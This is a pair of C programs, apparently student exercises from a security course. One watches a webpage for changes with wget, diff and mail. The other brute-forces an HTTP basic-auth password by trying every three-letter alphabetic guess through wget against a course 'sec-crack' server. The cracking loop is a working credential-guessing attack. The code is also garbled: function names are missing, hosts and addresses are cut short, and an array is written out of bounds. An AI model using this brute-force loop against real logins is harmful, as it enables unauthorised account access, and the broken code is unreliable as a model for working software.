

#include "stdio.h"
#include "stdlib.h"


int getDifference()
{
	system("wget http://www.cs.rmit.edu./students/");
	return system("diff index.html index.html.1");
}


int sendMail()
{
	int ret;
	printf("\n Program has Detected a Change  the webpage, a mail has been send    yallara .\n");
	ret = system("diff index.html index.html.1 | mail @cs.rmit.edu.");
	sleep(1000);
	system("clear");
}

void clean()
{
	system("rm index.htm*.*");
}
()
{
	while(1){

	int ret = 0;
	ret = getDifference();
	if(ret>0)
	{
	sendMail();
	}
else
	{
	printf("\n  is  difference in the web \n");
	}
	clean();
	printf("Checking the  every 24 hrs..");

	sleep(86400000);
	}
}





#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9 

int (){
   int i=65,j=65,k=65,count=0,res=1;
   char arry[3],send[100];
   int startTime, stopTime, final;
   startTime = time();
   for(i;i<123;i++){
      if(i<91 || i>96){
         arry[0]=i;
	 j=65;
	 for(j;j<123;j++){
	    if(j<91 || j>96){
	       arry[1]=j;
	       k=65;
	       for(k;k<123;k++){
		  if(k<91 || k>96){
		     arry[2]=k;
		     arry[3]='\0';
		     strcpy(send,"wget --http-user= --http-passwd=");
		     strcat(send,arry);
		     strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
		     count++;
	             if((res=(system(send)) == 0)) {
		        stopTime = time();
			final = stopTime-startTime;
			printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",arry,(double)final/OneBillion,count);
			exit(1);
		     }
		  }
	       }
            }
         }
      }
   }
   printf("\npassword not found\n");
   exit(1);
}
